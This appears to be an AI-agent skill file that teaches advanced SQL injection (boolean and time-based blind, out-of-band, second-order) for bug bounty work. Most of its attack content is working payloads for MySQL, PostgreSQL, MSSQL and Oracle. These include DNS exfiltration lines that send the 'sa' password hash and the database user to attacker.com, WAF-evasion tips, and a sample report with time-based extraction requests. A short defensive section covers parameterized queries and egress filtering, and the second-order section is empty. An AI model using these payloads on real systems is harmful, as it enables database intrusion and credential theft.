| name | advanced-sql-injection-sqli |
| description | Execute advanced SQL Injection attacks to bypass WAFs and extract data from complex architectures. Use this skill for Boolean-Based Blind, Time-Based Blind, Second-Order SQLi, and Out-of-Band (OOB) SQLi across MySQL, PostgreSQL, MSSQL, and Oracle.
|
| domain | cybersecurity |
| subdomain | bug-hunting |
| category | Web Vulnerabilities |
| difficulty | expert |
| estimated_time | 4-8 hours |
| mitre_attack | {"tactics":["TA0001","TA0006"],"techniques":["T1190","T1059"]} |
| platforms | ["linux","windows"] |
| tags | ["sqli","sql-injection","blind-sqli","oob-sqli","second-order-sqli","waf-bypass","owasp-top-10"] |
| tools | ["sqlmap","burp-suite"] |
| version | 1.0 |
| author | CyberSkills-Elite |
| license | Apache-2.0 |
Advanced SQL Injection (SQLi)
When to Use
- When basic error-based or UNION-based SQL payloads (
' OR 1=1--) are filtered or fail to return visible results.
- When attacking modern frameworks where data is stored now but executed in a different query later (Second-Order SQLi).
- To exfiltrate data from heavily firewalled environments via DNS using Out-of-Band (OOB) techniques.
Prerequisites
- Authorized scope and target URLs from bug bounty program
- Burp Suite Professional (or Community) configured with browser proxy
- Familiarity with OWASP Top 10 and common web vulnerability classes
- SecLists wordlists for fuzzing and enumeration
Workflow
Phase 1: Boolean-Based Blind SQLi
id=1' AND SUBSTRING(database(),1,1)='a'--
-- Using ASCII conversion to easily script greater/less than checks:
-- "Is the first letter's ASCII value > 100?"
id=1' AND ASCII(SUBSTRING(database(),1,1)) > 100--
-- If the page loads normally (HTTP 200), the answer is YES. If 404, the answer is NO.
Phase 2: Time-Based Blind SQLi
id=1'; SELECT pg_sleep(10)--
-- If the server takes exactly 10 seconds to respond, it is vulnerable to SQL injection.
-- 2. Extracting data via Time (MySQL example):
-- "If the first letter of the DB is 'A', sleep for 5 seconds. Otherwise, return immediately."
id=1' AND IF(ASCII(SUBSTRING(database(),1,1))=65, SLEEP(5), 0)
Phase 3: Out-of-Band (OOB) SQLi via DNS
EXEC master..xp_dirtree '\\' + (SELECT master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins WHERE name='sa') + '.attacker.com\a'
SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT user FROM dual)||'.attacker.com/"> %remote;]>'),'/l') FROM dual;
Phase 4: Second-Order SQLi
Decision Point 🔀
flowchart TD
A[Identify Injection Vector] --> B{Does app return DB errors?}
B -->|Yes| C[Use Error-Based SQLi (e.g., `EXTRACTVALUE`)]
B -->|No| D{Does app return data from the query?}
D -->|Yes| E[Use UNION-Based SQLi]
D -->|No| F{Does HTTP response change on True/False?}
F -->|Yes| G[Use Boolean-Based Blind SQLi]
F -->|No| H{Is the server heavily firewalled preventing Outbound?}
H -->|Yes| I[Use Time-Based Blind SQLi `SLEEP()`]
H -->|No| J[Use OOB DNS Exfiltration for speed]
🔵 Blue Team Detection & Defense
- Parameterized Queries (Prepared Statements): The absolute eradication of SQL Injection. Never concatenate user input into SQL syntax Strings. Use parameterized queries (e.g.,
PreparedStatement in Java, PDO in PHP) where the database driver strictly casts variables as strings or integers, preventing them from ever being parsed as executable SQL commands.
- ORM Strict Usage: Object-Relational Mappers (Hibernate, EntityFramework, Prisma) naturally prevent most SQL Injection. However, developers must be audited to ensure they do not bypass the ORM to execute raw queries (
.RawQuery()) manually with concatenated strings.
- Egress Filtering: To mitigate Out-of-Band (OOB) SQLi, block all outbound DNS and HTTP requests from the Database Server subnet. Database servers should never be permitted to resolve external internet domains.
Key Concepts
| Concept | Description |
|---|
| Blind SQLi | An attack where the database does not output data to the web page. The attacker must reconstruct the database by asking True/False questions (Boolean) or observing server response times (Time-Based) |
| WAF Evasion | Bypassing Web Application Firewalls using specific encoding, alternative SQL syntax (e.g., replacing spaces with /**/), or HTTP Parameter Pollution |
| SQLmap | An open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers |
Output Format
Bug Bounty Report: Time-Based Blind SQLi resulting in DB Dump
=============================================================
Vulnerability: Blind SQL Injection (OWASP A03:2021)
Severity: Critical (CVSS 9.8)
Target: `https://api.company.com/v1/user/search`
Description:
The searching endpoint is vulnerable to Time-Based Blind SQL Injection via the `sort_by` parameter. While standard UNION and Error-based payloads returned generic 500 errors, confirming an anomaly, the injection was confirmed by forcing the PostgreSQL engine to execute a `pg_sleep()` command.
By utilizing a binary search algorithm mapping character ASCII values to sleep conditions, an attacker can extract every table, column, and data row within the database framework without ever triggering a visible error or anomaly on the front end.
Reproduction Steps:
1. Issue a standard HTTP GET request:
`GET /v1/user/search?sort_by=name` (Response: 100ms)
2. Inject a 5-second sleep payload:
`GET /v1/user/search?sort_by=name';SELECT pg_sleep(5)--`
3. Observe the server response time precisely matches the injected delay (Response: 5120ms).
4. Extract the first character of the database user mapping to '5':
`GET /v1/user/search?sort_by=name';SELECT CASE WHEN (ASCII(SUBSTRING(user,1,1))=53) THEN pg_sleep(5) ELSE pg_sleep(0) END--`
Impact:
Total compromise of Data Confidentiality. The entirety of the application's underlying database, including hashed credentials and PII, can be mapped and extracted by an unauthenticated attacker.
📚 Shared Resources
For cross-cutting methodology applicable to all vulnerability classes, see:
References